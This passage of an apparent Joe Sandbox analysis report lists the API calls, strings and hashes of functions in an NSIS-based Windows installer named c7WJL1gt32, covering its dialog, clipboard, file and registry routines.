SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,?), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(?,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,?), ref: 0040578D
ShowWindow.USER32(?), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,?,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

{, xrefs: 004057F5
(7B, xrefs: 0040587D

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,?,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,?,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,74DF3420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd20, xrefs: 00403D06
_Nb, xrefs: 00403C5C, 00403CC4
(7B, xrefs: 00403B04
RichEdit, xrefs: 00403D33
.exe, xrefs: 00403BE6
.DEFAULT\Control Panel\International, xrefs: 00403B44
RichEd32, xrefs: 00403D14

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(?,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,?,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,?,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,74DF3420,004036EF,?,00000006,?,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,?,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,?,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(?,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

%ls=%ls, xrefs: 004060A9
[Rename], xrefs: 0040611D, 0040612F

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,00436800,00436800,00438800,00438800,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNEL32(?,0040A230), ref: 004030F0

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
soft, xrefs: 00403020
Null, xrefs: 00403029
Error launching installer, xrefs: 00402F80
Inst, xrefs: 00403017

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: da7d1d4a2d7cfe0a4d95b8b78dbffc0a58d971e607472f26681b65440013a3aa
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 209stringCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(004281E0,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(004281E0,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,004281E0), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(004281E0,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(004281E0,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-730719616
Opcode ID: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: fadb749951e57590abd2d4ee5972ead553d40ab2c5c4ce1725a089f13c923e34
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 004043C6 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004043E3
GetSysColor.USER32(00000000), ref: 00404421
SetTextColor.GDI32(?,00000000), ref: 0040442D
SetBkMode.GDI32(?,?), ref: 00404439
GetSysColor.USER32(?), ref: 0040444C
SetBkColor.GDI32(?,?), ref: 0040445C
DeleteObject.GDI32(?), ref: 00404476
CreateBrushIndirect.GDI32(?), ref: 00404480

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction ID: 4d8d1a64c5805e8a020b3744e793f2033a9a6b6b0a681029562fed9dd316a9da
Opcode Fuzzy Hash: cedac81959eb3ef19a74f908d68e4e703a61b794166ebd5b231b869c6a402091
Instruction Fuzzy Hash: 722131715007049BCB319F68D948B5BBBF8AF81714B148A2EEE96E26E0D738D944CB54

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNEL32(?,?,?,00000001,?,?,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: 1fdfab34e77cf90ebe23e3371142485a67670726d5f4eeccdfcf92a02d0001b8
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00405450 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
